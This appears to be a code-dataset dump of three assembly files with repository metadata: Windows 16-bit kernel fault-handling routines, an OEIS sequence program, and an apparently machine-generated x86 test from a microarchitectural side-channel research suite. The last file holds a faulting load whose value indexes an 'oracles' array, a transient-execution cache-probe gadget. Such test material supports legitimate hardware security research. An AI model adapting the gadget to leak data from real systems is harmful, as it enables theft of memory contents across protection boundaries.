; ; Returns: ; AX = 1 Cancel ; AX = 2 OK ; ; Registers Destroyed: ; AX, BX, CX, DX, SI, DI ; ; History: ; Thu 16-May-1991 -by- Earle R. Horton ; ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc Display_Box_of_Doom,<PUBLIC,NEAR> parmW action parmD lpText cBegin SetKernelDS if KDEBUG xor bx,bx or action,bx jz @F kerror 00FFh,<Action not 0 in FatalAppExit>,bx,bx @@: endif push es ; added 10 feb 1990 mov es,curTDB ; did app disable exception test es:[TDB_ErrMode],02h ; message box? pop es jnz nf_dont_ask cmp pSErrProc.sel, 0 ; Can we put up message box? jnz short nf_ask ; yes, do it ; no, have debugger? nf_dont_ask: mov ax,1 test Kernel_Flags[2],KF2_SYMDEB jnz nf_ret ; yes, call debugger inc ax jmps nf_ret ; no, have to nuke the app nf_ask: push es mov ax,lpText.sel or ax,ax jz nf_default_string push ax push lpText.off jmps nf_pushed_string nf_default_string: push ds mov ax,dataOffset szAbort ; lpText push ax nf_pushed_string: push ds ; lpCaption mov ax, dataOffset szAbortCaption push ax xor ax,ax ; Assume no debugger, blank first button mov cx,ax test Kernel_Flags[2],KF2_SYMDEB ; Debugger? jz @F ; No mov cx,SEB_CANCEL ; Yes, use Cancel button @@: push cx ; push SEB_OK+SEB_DEFBUTTON push SEB_CLOSE + SEB_DEFBUTTON push ax call ds:[pSErrProc] ; Put up the system error message pop es nf_ret: cEnd ;-----------------------------------------------------------------------; ; FatalAppExit -- Called by apps. to request an application error ; message box. ; ; Entry: ; Action Reserved, must be zero ; lpText String to display, NULL for default ; ; Returns: ; Returns to caller if Cancel button pressed ; ; Registers Destroyed: ; ; History: ; Sun 22-Oct-1989 15:18:57 -by- David N. Weise [davidw] ; Tonyg wrote it! ; Fri 24-May-1991 EarleH totally rewrote it, so there! ; ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc IFatalAppExit,<PUBLIC,FAR> parmW action parmD lpText cBegin cmp seg_lpText,0 jne fae_string mov off_lpText,offset szAbort mov seg_lpText,seg szAbort fae_string: cCall Display_Box_of_Doom,<action,lpText> cmp ax,1 ; Cancel pressed? je fae_ret jmp KillApp fae_ret: cEnd ; ------------------------------------------------------------------ ; ; FormatFaultString -- Special purpose "sprintf()" ; Only used for the Box of Doom ; ; ------------------------------------------------------------------ cProc FormatFaultString,<PUBLIC,NEAR>,<si,di,ds,es> parmD lpstr parmW pStr ; Assumed in Kernel's DS parmD csip cBegin SetKernelDS cld les di, lpstr ; Form string in ES:DI call CurApName lea si, szSnoozer ; " has caused an error in Windows" call strcpy mov si, pStr ; Copy the fault string call strcpy lea si, szInModule ; "in Module: <unknown>" call strcpy push es push di cCall GetOwner,<seg_csip> ; Can we find a module to blame? or ax, ax jz NoOwner mov es, ax cmp es:[ne_magic], NEMAGIC jne NoOwner mov bx, seg_csip ; Have the module, can we get the and bl, not SEG_RING ; segment number? mov di,es:[ne_segtab] mov ax,1 mov cx, es:[ne_cseg] getsegno: mov dx, es:[di].ns_handle and dl, not SEG_RING cmp dx, bx jz gotsegno add di,SIZE NEW_SEG1 inc ax loop getsegno jmps nosegno ; No, report the selector instead gotsegno: mov seg_csip, ax ; Print Segment # nosegno: mov di, es:[ne_pfileinfo] ; Now blame the module add di, opFile call GetPureName mov si, di smov ds, es UnSetKernelDS pop di pop es ifdef FE_SB find_space: cmp byte ptr es:[di-1],' ' ; prepare space before mod name jz copy_name dec di jmps find_space copy_name: else ; !FE_SB sub di, 9 ; Get rid of <unknown> endif ; !FE_SB call strcpy SetKernelDS jmps GotOwner NoOwner: pop di pop es GotOwner: lea si, szAt call strcpy ifdef WOW cCall <far ptr Far_htoa>,<es,di,seg_csip> else cCall htoa,<es,di,seg_csip> endif mov di, ax mov es, dx mov byte ptr es:[di], ':' inc di ifdef WOW cCall <far ptr Far_htoa>,<es,di,off_csip> else cCall htoa,<es,di,off_csip> endif mov es, dx mov di, ax lea si, szNukeApp call strcpy call CurApName lea si, szWillClose call strcpy cEnd CurApName proc near SetKernelDS lea si, szBlame ; Default task to blame cmp curTDB, 0 ; Have a task to blame? je DefaultCaption ; nope, use default mov ds, curTDB UnSetKernelDS mov si, TDB_ModName DefaultCaption: mov cx, 8 copy_appname: lodsb stosb or al, al ; Null padded in TDB loopne copy_appname jne no_null dec di ; Toss extra space no_null: SetKernelDS ret CurApName endp public strcpy strcpy proc near lodsb stosb or al, al jnz strcpy dec di ; Ignore Null ret strcpy endp ;-----------------------------------------------------------------------; ; ; KillApp -- Calls USER to tell it that the application is going away, ; then tells DOS to kill it. ; ; ENTRY: None ; EXIT: None, doesn't ; ; Registers modified: Huh? ; ;-----------------------------------------------------------------------; KillApp proc near SetKernelDS test fBooting, 1 jz @F mov ax, 1 cCall ExitKernel,<ax> @@: mov ax,4CFFH ; They said OK to Nuke app. DOSCALL UnSetKernelDS KillApp endp ;-----------------------------------------------------------------------; ; FaultFilter -- Called by HandleFault, NestedFault, and routines that ; use the same stack frame. Look at the faulting CS:IP on the exception ; handler frame, and make sure that CS is Ring 3, LDT. If it is not ; pop the near return address from the stack and chain the exception ; to the next handler. This will be the DPMI server, which will crash ; Windows back to DOS. We ought to try to close up a few things first. ;-----------------------------------------------------------------------; ReSetKernelDS public FaultFilter FaultFilter proc near mov al,byte ptr [bp].fsf_faulting_CS and al, SEG_RING_MASK ; Check it was Ring 3, LDT cmp al, SEG_RING je @F ; ; The faulting CS's ring bits do not match up. We will not handle ; this fault, because we assume it happened in the DPMI provider, ; and is a Real Bad one. Since the default handler is going to ; abort here, it would be nice to let the user down real easy. ; Restoring the display to text mode would be nice, at the very ; minimum. ; cCall TextMode ret ; Hypocrite! @@: ; ; Check for faults on POP FS and POP GS. If found, fix them up. We need to ; fix up faults in the register restoration of both KRNL386 (WOW16Return) and ; MMSYSTEM (MULTI_MEDIA_ISR386). Monty Pythons Complete Waste of Time is an app ; which frees selectors in FS across message boundries. ; ifdef WOW push ds mov ax, word ptr [bp].fsf_faulting_CS mov ds, ax mov si, word ptr [bp].fsf_faulting_IP cmp word ptr [si], 0A10Fh ; pop fs je HandFSGSflt cmp word ptr [si], 0A90Fh ; pop gs je HandFSGSflt jmp short NoFSGSflt HandFSGSflt: if KDEBUG Trace_Out "POP GS/FS fault fixed up!" endif mov ds, [bp].fsf_SS mov si, [bp].fsf_SP mov word ptr [si], 0 pop ds ; restore kernel DS pop ax ; don't do EH_Chain push codeOffset EH_ret ; use "handled it" return instead ret NoFSGSflt: pop ds endif pop ax ; toss chain return push codeOffset EH_ret ; use "handled it" return mov si,word ptr FaultHandler ; SI = Handler push si mov word ptr FaultHandler,codeOffset NestedFault if KDEBUG test byte ptr [bp].fsf_flags+1,2 ; IF set in faulting frame? jnz @F Trace_Out "Fault with interrupts disabled!" @@: endif cmp [bp].fsf_SP,128d jb ff_stack cCall HasGPHandler, <[bp].fsf_faulting_CS, [bp].fsf_faulting_IP> or ax, ax jz ff_real_fault mov ds, [bp].fsf_SS mov bx, [bp].fsf_SP sub [bp].fsf_SP, 4 mov cx, [bp].fsf_err_code ; put error code on stack mov [bx-2],cx mov dx, [bp].fsf_faulting_IP mov [bx-4],dx ; and faulting IP mov [bp].fsf_faulting_IP, ax ; continue at gp fault handler jmps ff_ret ff_real_fault: ifdef WOW test DebugWOW,DW_DEBUG jz ff_no_wdebug xor ax,ax ; 0 in AX defaults to not handled push DBG_GPFAULT2 FBOP BOP_DEBUGGER,,FastBop add sp,+2 or ax, ax jnz ff_ret ; Alright! they handled the exception! ; Get us back to the app please! ; Otherwise, they chose to continue the exception ff_no_wdebug: endif if SHERLOCK cCall GPContinue ; We know BP points to or ax, ax ; the fault frame! jnz ff_ret endif ff_stack: call si ; call our fault handler ff_ret: SetKernelDS pop FaultHandler ret FaultFilter endp ifdef WOW ;-----------------------------------------------------------------------; ; ; single_step ; ;-----------------------------------------------------------------------; Entry single_step push ds SetKernelDS ds push ax ; QCWIN traces through code which it has no source code for. This means ; its ends up tracing through the 16-bit to 32-bit transition code and ; when it traces on the call fword instruction, it cause 32-bit trace ; interrupt which breaks into the kd> On a retail build with no ; debugger attached, it might work. ; To work around the problem we turn off the TraceFlag here if wow16cal ; has requested it. test TraceOff,1h jnz ss_turn_off_trace_flag test DebugWOW,DW_DEBUG jz ss_no_wdebug xor ax,ax ; 0 in AX defaults to not handled push DBG_SINGLESTEP FBOP BOP_DEBUGGER,,FastBop add sp,+2 or ax, ax jnz ss_ret ; Alright! they handled the exception! ; Get us back to the app please! ss_no_wdebug: ; Otherwise, they chose to continue the exception pop ax pop ds jmp cs:[prevInt01proc] ; Tell api code (wow16cal) to turn on trace flag at end of next api ss_turn_off_trace_flag: sub sp,2 ; Make it look like "normalized" fault frame push bp mov bp,sp or TraceOff,2h and [bp].fsf_flags,NOT FLG_TRAP ; turn off the trap flag pop bp add sp,2 ss_ret: pop ax pop ds UnSetKernelDS ds retf ;-----------------------------------------------------------------------; ; ; breakpoint ; ;-----------------------------------------------------------------------; Entry breakpoint push ds SetKernelDS ds push ax test DebugWOW,DW_DEBUG jz br_no_wdebug xor ax,ax ; 0 in AX defaults to not handled push DBG_BREAK FBOP BOP_DEBUGGER,,FastBop add sp,+2 or ax, ax jnz bp_ret ; Alright! they handled the exception! ; Get us back to the app please! br_no_wdebug: ; Otherwise, they chose to continue the exception pop ax pop ds jmp cs:[prevInt03proc] bp_ret: pop ax pop ds UnSetKernelDS ds retf ;-----------------------------------------------------------------------; ; ; divide_overflow ; ;-----------------------------------------------------------------------; Entry divide_overflow ; at this point all of the registers contain the same values as they did ; at the time the faulting instruction was hit ; -- except for: cs:ip and ss:sp push ds SetKernelDS ds push ax test DebugWOW,DW_DEBUG jz di_no_wdebug xor ax,ax ; 0 in AX defaults to not handled push DBG_DIVOVERFLOW FBOP BOP_DEBUGGER,,FastBop .286p add sp,+2 or ax, ax jnz do_ret ; Alright! they handled the exception! ; Get us back to the app please! di_no_wdebug: ; Otherwise, they chose to continue the exception ; check to see if we want to hack this exception for them push es mov es, curTDB mov ax, es:[TDB_WOWCompatFlagsEx2] pop es test ax, 2 ; HIWORD(WOWCFEX_DIVIDEOVERFLOWPATCH) jz di_no_patch1 .386p pop ax ; get the original ax ; push ax ; restore the stack (don't need to do this since we exit ; via do_ret2 -- we want to preserve our *change* to AX push ebx ; preserve ebx mov bx, sp push eax ; make room for two dword local vars local[1] push eax ; local[0] push eax ; push original dividend registers push edx push word ptr ss:[bx+14] ;get segment of faulting instruction push word ptr ss:[bx+12] ;get offset of faulting instruction mov bx,sp ; push pointer to local[0] add bx,12 ; point to local[0] push ss push bx ;call into wow32 returns with new divisor in al, ax, or dx:ax -- ;depending on the instruction cCall WowDivideOverflowEx or ax,ax ; if both ax & dx are 0, it was an edx:eax form jnz di_got_it ; so we have to get eax & edx from local[] or dx,dx jnz di_got_it pop eax ; get eax & edx from local[] pop edx pop ebx ; restore original ebx jmp do_ret2 di_got_it: pop ebx ; get rid of local[] dwords pop ebx pop ebx ; restore original ebx jmp do_ret2; .286p di_no_patch1: pop ax pop ds jmp cs:[oldInt00proc] do_ret: pop ax do_ret2: ; AX already popped -- we want to preserve our change to AX pop ds UnSetKernelDS ds retf endif ;-----------------------------------------------------------------------; ; ; Set_GO_BP ; ;-----------------------------------------------------------------------; public Set_GO_BP Set_GO_BP proc near mov cx, [bp].fsf_faulting_CS ; Faulting CS mov bx, [bp].fsf_faulting_IP ; Faulting IP DebInt 40h ; mov ax, 40h ; 16 bit forced go command ; int 41h ; Call debugger ;ifdef JAPAN ; INT41SIGNATURE ;endif ret Set_GO_BP endp ;-----------------------------------------------------------------------; ; ; ExitFault -- Fault at Exit Time!!! ; ; ENTRY: BP points to fault frame described above ; ; EXIT: Returns to DPMI. ; ; Registers Modified: None ; ;-----------------------------------------------------------------------; ReSetKernelDS public ExitFault ExitFault proc near if KDEBUG Trace_Out "Fault at Exit Time!!!" endif ; ; If a kernel debugger is loaded, pop out at the nested fault, and ; take no prisoners. ; test Kernel_Flags[2],KF2_SYMDEB ; Debugger? jz @F jmp Set_GO_BP @@: jmps HandleFault ExitFault endp public BUNNY_351 BUNNY_351 proc far push ds SetKernelDS mov FaultHandler,codeOffset ExitFault pop ds ret BUNNY_351 endp ;-----------------------------------------------------------------------; ; ; MY_RETF -- Executes a far return. ; ;-----------------------------------------------------------------------; MY_RETF proc near retf MY_RETF endp ;-----------------------------------------------------------------------; ; ; NestedFault -- Called when a fault handler Faults!!! ; ; ENTRY: BP points to fault frame described above ; ; EXIT: Returns to DPMI. ; ; Registers Modified: None ; ;-----------------------------------------------------------------------; ReSetKernelDS public NestedFault NestedFault proc near if KDEBUG Trace_Out "Nested Fault!!!" endif ; ; If a kernel debugger is loaded, pop out at the nested fault, and ; take no prisoners. ; test Kernel_Flags[2],KF2_SYMDEB ; Debugger? jz @F jmp Set_GO_BP @@: jmps HandleFault NestedFault endp ;-----------------------------------------------------------------------; ; ; HandleFault -- Puts up the System Error box for a Fault. Terminates ; the application or enters the debugger. ; ; ENTRY: BP points to fault frame described above ; ; EXIT: Returns to DPMI. If Cancel is pressed, we tell ; WDEB to set a GO breakpoint at the faulting instruction ; first. If OK is pressed, then the CS:IP on the DPMI ; fault frame is modified to point to KillApp, and the ; SS:SP points to a temp. stack owned by Kernel. ; ; Registers Modified: None ; ;-----------------------------------------------------------------------; ReSetKernelDS public HandleFault HandleFault proc near mov ax, lpGPChain.sel ; Do we have a private GP handler? mov lpGPChain.sel, 0 ; Prevent re-entrancy cmp ax, [bp].fsf_SS jnz We_Can_Handle_It test Kernel_Flags[2],KF2_SYMDEB ; Debugger? jz @F mov lpGPChain.sel,ax jmp Set_GO_BP @@: ; If we want to chain back for any mov bx, lpGPChain.off ; faults, then set up the stack of mov [bp].fsf_SP, bx ; the handler, and continue execution mov [bp].fsf_faulting_CS, cs ; at a RETF in Kernel mov [bp].fsf_faulting_IP, offset MY_RETF cmp [pPostMessage.sel],0 ; is there a USER around yet? je @F pusha push es cCall [pPostMessage],<-1,WM_SYSTEMERROR,1,0,0> pop es popa @@: if kdebug mov es, ax mov ax, es:[bx+2] mov bx, es:[bx] krDebugOut DEB_ERROR, "Fault detected - handled by %AX2 #AX:#BX" endif jmp HandleFault_Exit We_Can_Handle_It: sub sp, UAE_STRING_LEN ; Room for string mov si, sp cCall FormatFaultString,<ss,si,[bp].fsf_msg,[bp].fsf_faulting_CS,[bp].fsf_faulting_IP> push bp xor bp,bp ; Some people are picky... cCall Display_Box_of_Doom,<0,ss,si> pop bp add sp, UAE_STRING_LEN or ax, ax jne @F INT3_DEBUG ; Failed call - no USER @@: cmp ax, 1 ; Button 1 (Cancel) pressed? jne @F jmp Set_GO_BP @@: test fBooting, 1 ; No, they said to Nuke app. jnz no_signal_proc mov ds, curTDB UnSetKernelDS cmp ds:[TDB_USignalProc].sel,0 jz no_signal_proc mov bx,0666h mov di, -1 cCall ds:[TDB_USignalProc],<ds,bx,di,ds:[TDB_Module],ds:[TDB_Queue]> ; ; Since we are on a nice big fat juicy fault handler stack now, we can call ; Windows to clean up after the task. ; mov bx,SG_EXIT cCall ds:[TDB_USignalProc],<ds,bx,di,ds:[TDB_Module],ds:[TDB_Queue]> mov ds:[TDB_USignalProc].sel,0 no_signal_proc: mov [bp].fsf_SP,dataOffset gmove_stack mov [bp].fsf_SS,seg gmove_stack mov [bp].fsf_faulting_CS,cs lea ax,KillApp mov [bp].fsf_faulting_IP,ax HandleFault_Exit: ret HandleFault endp ; ------------------------------------------------------------------ ; ; ExceptionHandlerProc -- Common entry point for exception handlers ; ; ------------------------------------------------------------------ public ExceptionHandlerProc ExceptionHandlerProc proc far push bp mov bp,sp pusha push ds SetKernelDS push es EH_Popup: call FaultFilter EH_Chain: pop es pop ds UnsetKernelDS popa pop bp add sp,2 ; remove message from stack retf ; chain to prev handler EH_ret: pop es pop ds popa pop bp add sp,fsf_OFFSET retf ExceptionHandlerProc endp ; ------------------------------------------------------------------ ; ; This macro sets up the stack frame for entry to the generic ; exception handler. ; ; ------------------------------------------------------------------ ExceptionHandlerPrologue macro name,msg,chain public name name: push word ptr chain + 2 push word ptr chain push offset msg endm ; ------------------------------------------------------------------ ; ; This macro sets up the stack frame, then jumps to the generic ; exception handler. ; ; ------------------------------------------------------------------ ExceptionHandler macro name,msg,chain ExceptionHandlerPrologue name,msg,chain jmp ExceptionHandlerProc assumes ds, nothing assumes es, nothing endm ; ------------------------------------------------------------------ ; ; Four fatal ones. ; ; ------------------------------------------------------------------ ExceptionHandler StackFault,szSF,prevInt0Cproc ExceptionHandler GPFault,szGP,prevInt0Dproc ExceptionHandler invalid_op_code_exception,szII,prevIntx6proc ExceptionHandler page_fault,szPF,prevInt0Eproc ExceptionHandler LoadSegFailed,szLoad,prevInt3Fproc ; ------------------------------------------------------------------ ; ; The not present fault is used to demand-load segments from newexe ; files. If we find out that something bogus has happened, then ; we just jump into the fault handler. ; ; ------------------------------------------------------------------ ExceptionHandlerPrologue SegmentNotPresentFault,szNP,prevInt3Fproc push bp mov bp,sp pusha push ds SetKernelDS push es mov al,byte ptr [bp].fsf_faulting_CS and al, SEG_RING_MASK ; Check it was Ring 1, LDT cmp al, SEG_RING je @F jmp EH_Chain @@: mov al,byte ptr [bp].fsf_err_code test al, SEL_LDT ; Check it was LDT jne @F jmp EH_Chain @@: if KDEBUG test byte ptr [bp].fsf_flags+1,2 ; IF set in faulting frame? jnz @F Trace_Out "Segment not present fault with interrupts disabled!" @@: endif FSTI ; ; Don't discard the segment that we have to return to!!! ; cCall GlobalHandleNorip,<[bp].fsf_faulting_CS> test cl,GA_DISCARDABLE jz @F cCall GlobalLRUNewest,<ax> @@: mov bx,[bp].fsf_err_code seg_reload: and bx, NOT 7h ; get the not present selector or bl, SEG_RING ; Correct RING bits if KDEBUG mov INT3Fcs, bx ; Save in case of error endif ; On WOW we don't copy the owner to the real LDT since it is slow to call ; the NT Kernel, so we read our copy of it directly. ; see set_discarded_sel_owner mattfe mar 23 93 mov es,cs:gdtdsc mov cx,bx ; save bx and bl, not 7 mov es,es:[bx].dsc_owner mov bx,cx ; restore StoH bl ; Need handle cmp es:[ne_magic],NEMAGIC ; If owner is not a module jnz bad_seg_load ; (i.e., an instance or garbage) ; get out of here. mov di,es:[ne_segtab] mov ax,1 mov cx, es:[ne_cseg] jcxz bad_seg_load dorten: cmp es:[di].ns_handle,bx jz got_seg_no add di,SIZE NEW_SEG1 inc ax loop dorten ; program has referenced garbage... bad_seg_load: jmp EH_Popup got_seg_no: ; ; If we already are on the exception handler stack, then we want to make ; sure that we don't overwrite the original stack frame. Copy our ; stack frame variables down by the difference between SP and SP before ; we got called. ; push ax mov ax,ss cmp ax,word ptr [bp].fsf_SS pop ax jne stack_OK push ax push bx push bp lea bp,word ptr [bp].fsf_SS mov ax,sp dec ax dec ax @@: push word ptr [bp] dec bp dec bp cmp bp,ax jne @B pop bp pop bx pop ax ; ; Figured out what this was supposed to be by tracing up to here ; in the debugger. ; sub bp,32h stack_OK: push es mov bx,ax UnsetKernelDS mov ax,ss mov ds,ax les di,dword ptr [bp].fsf_SP dec di dec di std ; ; Push an IRET frame on the faulting stack. ; lea si,[bp].fsf_flags mov cx,3 rep movsw ; ; Push our saved registers on the faulting stack. ; lea si,[bp] mov cx,11 ; BP + PUSHA + ES + DS rep movsw pop ax ; ; Push arguments to LoadSegment on the faulting stack. ; stosw ; hExe mov ax,bx stosw ; segno mov ax,-1 stosw stosw inc di inc di ; ; Point the faulting stack at the new location. ; mov [bp].fsf_SP,di ; ; Tell DPMI to return to us instead of the faulting code. ; mov [bp].fsf_faulting_CS,cs mov [bp].fsf_faulting_IP,offset let_them_do_it lea sp,[bp].fsf_ret_IP if kdebug SetKernelDS mov wFaultSegNo, bx UnSetKernelDS endif retf let_them_do_it: SetKernelDS xor cx, cx ; we try to keep a selector reserved xchg cx, DemandLoadSel ; for scratch use while demand jcxz @f ; loading segments--free it to make cCall IFreeSelector,<cx> ; it available now @@: cCall LoadSegment push ax ; reserve a selector for the next cCall AllocSelector,<0> ; time we demand load a segment mov DemandLoadSel, ax pop cx ; LoadSegment result jcxz SegLoaderFailure if kdebug push bx mov bx, wFaultSegNo krDebugOut <DEB_TRACE or DEB_krLoadSeg>, "Demand load %CX2(#bx) on %SS2" pop bx endif pop es pop ds UnsetKernelDS popa pop bp ;** Check to see if we're about to restart an instruction in ;** a not present segment. This would only occur if the ;** segment was discarded because of the segment load we ;** just did. IF KDEBUG push bp ;Make a stack frame mov bp,sp push ax mov bp,[bp + 4] ;Get the CS lar ax,bp ;See if the CS is valid test ax,8000h ;Is it present? jnz @F ;Yes, don't complain mov ax,bp Trace_Out <'LDINT: Trying to restart discarded caller (#AX)'> @@: pop ax pop bp ENDIF iret public SegLoaderFailure SegLoaderFailure proc near ; ; segment loader was unable to load the segment!!! ; Restore all the registers, create a fake DPMI frame, then ; complain about the problem. Lets the user break into the ; debugger, if installed, on Cancel. Creating and destroying ; the fake DPMI frame is inconvenient and messy, but it lets ; us handle the problem in common fault code. ; pop es pop ds UnsetKernelDS popa sub sp,4 mov bp,sp ; BP -> xx xx BP IP CS FL push word ptr [bp+4] ; push app's BP push ax ; get a temporary register mov ax,[bp+6] ; IP mov [bp+2],ax mov ax,[bp+8] ; CS mov [bp+4],ax mov ax,[bp+10] ; Flags mov [bp+6],ax mov [bp+10],ss lea ax,[bp+12] mov [bp+8],ax pop ax pop bp call far ptr LoadSegFailed ; BP -> RETIP RETCS EC IP CS FL SP SS push bp mov bp,sp ; BP -> BP EC IP CS FL SP SS mov [bp+2],ax mov ax,[bp+8] ; Flags mov [bp+12],ax mov ax,[bp+6] ; CS mov [bp+10],ax mov ax,[bp+4] ; IP mov [bp+8],ax pop bp pop ax add sp,4 iret SegLoaderFailure endp ;ENDIF ;-----------------------------------------------------------------------; ; default_sig_handler ; ; ; Entry: ; ; Returns: ; ; Registers Destroyed: ; ; History: ; Wed 10-Jan-1990 22:32:34 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc default_sig_handler,<PUBLIC,FAR> cBegin nogen ret cEnd nogen ;-----------------------------------------------------------------------; ; ; Panic -- Called by ToolHelp when it gets a bad stack fault or any ; other fault with SP suspiciously low. ; ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc Panic,<PUBLIC,NEAR> cBegin if KDEBUG Trace_Out "KERNEL: Panic called!!!" endif int 1 jmp KillApp cEnd ;-----------------------------------------------------------------------; ; DoSignal ; ; ; Entry: ; ; Returns: ; ; Registers Destroyed: ; ; History: ; Wed 10-Jan-1990 22:52:52 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc DoSignal,<PUBLIC,FAR>,<ax,bx,cx,dx,di,si,es> cBegin SetKernelDS cmp pUserGetFocus.sel,0 ; is there a USER yet? jz ds_exit call pUserGetFocus or ax,ax jz ds_exit mov si,ax cCall pUserIsWindow,<ax> or ax,ax jz ds_exit cCall pUserGetWinTask,<si> mov ds,ax TDB_check_DS cmp ds:[TDB_SigAction],2 ; send it on? jnz ds_exit mov ax,1 xor bx,bx cCall ds:[bx].TDB_ASignalProc,<bx,ax> ds_exit: cEnd sEnd CODE sBegin MISCCODE assumes cs, misccode assumes ds, nothing assumes es, nothing externNP MISCMapDStoDATA ifdef WOW externFP htoa assumes ds,nothing assumes es,nothing ;-----------------------------------------------------------------------; ; allows htoa to be called from _TEXT code segment cProc Far_htoa,<PUBLIC,FAR> parmD lpstr parmW val cBegin push [bp+10] push [bp+8] push [bp+6] call far ptr htoa cEnd endif ;; WOW ;-----------------------------------------------------------------------; ; SetSigHandler ; ; SetSigHandler notifies Windows of a handler for a signal. ; It may also be used to ignore a signal or install a default ; action for a signal. ; ; Entry: ; parmD lpprocRoutine Signal handler ; parmD lpDPrevAddress Previous handler (returned) ; parmD lpWPrevAction Previous action (returned) ; parmW Action Indicate request type ; parmW SigNumber Signal number of interest ; ; Returns: ; ; Registers Destroyed: ; ; History: ; Mon 25-Dec-1989 00:36:01 -by- David N. Weise [davidw] ; Wrote it! ;-----------------------------------------------------------------------; assumes ds,nothing assumes es,nothing cProc SetSigHandler,<PUBLIC,FAR>,<di,si,ds> parmD lpprocRoutine parmD lpDPrevAddress parmD lpWPrevAction parmW Action parmW SigNumber cBegin call MISCMapDStoDATA ReSetKernelDS cmp SigNumber,1 ; is it SIGINTR? jnz dssh_return_success ; ignore if not cmp Action,4 ; is it reset Signal? jz @F push ds mov ds,curTDB assumes ds,nothing mov ax,Action xchg ax,ds:[TDB_SigAction] les bx,lpWPrevAction mov cx,es or cx,bx jz @F mov es:[bx],ax @@: mov dx,lpprocRoutine.sel mov ax,lpprocRoutine.off cmp Action,0 ; put in default handler? jnz ssg_stick_it_in mov dx,SEG default_sig_handler mov ax,codeOffset default_sig_handler ssg_stick_it_in: xchg dx,ds:[TDB_ASignalProc].sel xchg ax,ds:[TDB_ASignalProc].off cmp Action,4 ; is it reset Signal? jz @F les bx,lpDPrevAddress mov cx,es or cx,bx jz @F mov es:[bx].sel,dx mov es:[bx].off,ax pop ds @@: dssh_return_success: xor ax,ax ; return success dssh_exit: cEnd ;---------------------------------------------------------------------------- ; ; SwapRecording(Flag) ; ; Flag = 0 => Stop recording ; = 1 => Start recording only Swaps, Discards and Returns ; = 2 => Start recording Calls in addition to Swaps, Discards and ; returns. ; Destroys AL register ;---------------------------------------------------------------------------- ; Retail Version cProc ISwapRecording,<PUBLIC, FAR> ; parmW Flag cBegin nogen retf 2 cEnd nogen sEnd MISCCODE end
22.398463
88
0.58014
1b204556efe12689bcfb4ff2094d193426560d6f
929
asm
Assembly
programs/oeis/153/A153339.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/153/A153339.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/153/A153339.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A153339: Number of zig-zag paths from top to bottom of a rectangle of width 5 with n rows whose color is that of the top right corner ; 3,4,8,12,24,36,72,108,216,324,648,972,1944,2916,5832,8748,17496,26244,52488,78732,157464,236196,472392,708588,1417176,2125764,4251528,6377292,12754584,19131876,38263752,57395628,114791256,172186884,344373768,516560652,1033121304,1549681956,3099363912,4649045868,9298091736,13947137604,27894275208,41841412812,83682825624,125524238436,251048476872,376572715308,753145430616,1129718145924,2259436291848,3389154437772,6778308875544,10167463313316,20334926626632,30502389939948,61004779879896,91507169819844,183014339639688,274521509459532,549043018919064,823564528378596,1647129056757192,2470693585135788,4941387170271576,7412080755407364 add $0,1 cal $0,62318 ; Numbers of the form 3^m - 1 or 2*3^m - 1; i.e., the union of sequences A048473 and A024023. mov $1,$0 div $0,3 add $1,$0 add $1,2
92.9
637
0.831001
616d34fa9cb0a9c8720f1b447319670a6f8a1a12
4,561
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_431.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_431.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_431.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x17144, %rsi lea addresses_WT_ht+0x10c4, %rdi nop nop and $32866, %r15 mov $10, %rcx rep movsb nop dec %r8 pop %rsi pop %rdi pop %rcx pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r9 push %rbp push %rcx push %rdi push %rdx // Store mov $0x6e06d400000002f4, %r9 nop nop nop add $64683, %r12 movl $0x51525354, (%r9) nop nop nop nop nop and $15840, %rdi // Store lea addresses_WC+0xbb44, %r12 nop cmp $60344, %rbp movl $0x51525354, (%r12) nop nop nop nop dec %rbp // Faulty Load mov $0x3c5e240000000844, %rdi nop nop xor $38637, %r10 movb (%rdi), %r9b lea oracles, %rbp and $0xff, %r9 shlq $12, %r9 mov (%rbp,%r9,1), %r9 pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_NC', 'AVXalign': False, 'size': 4}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 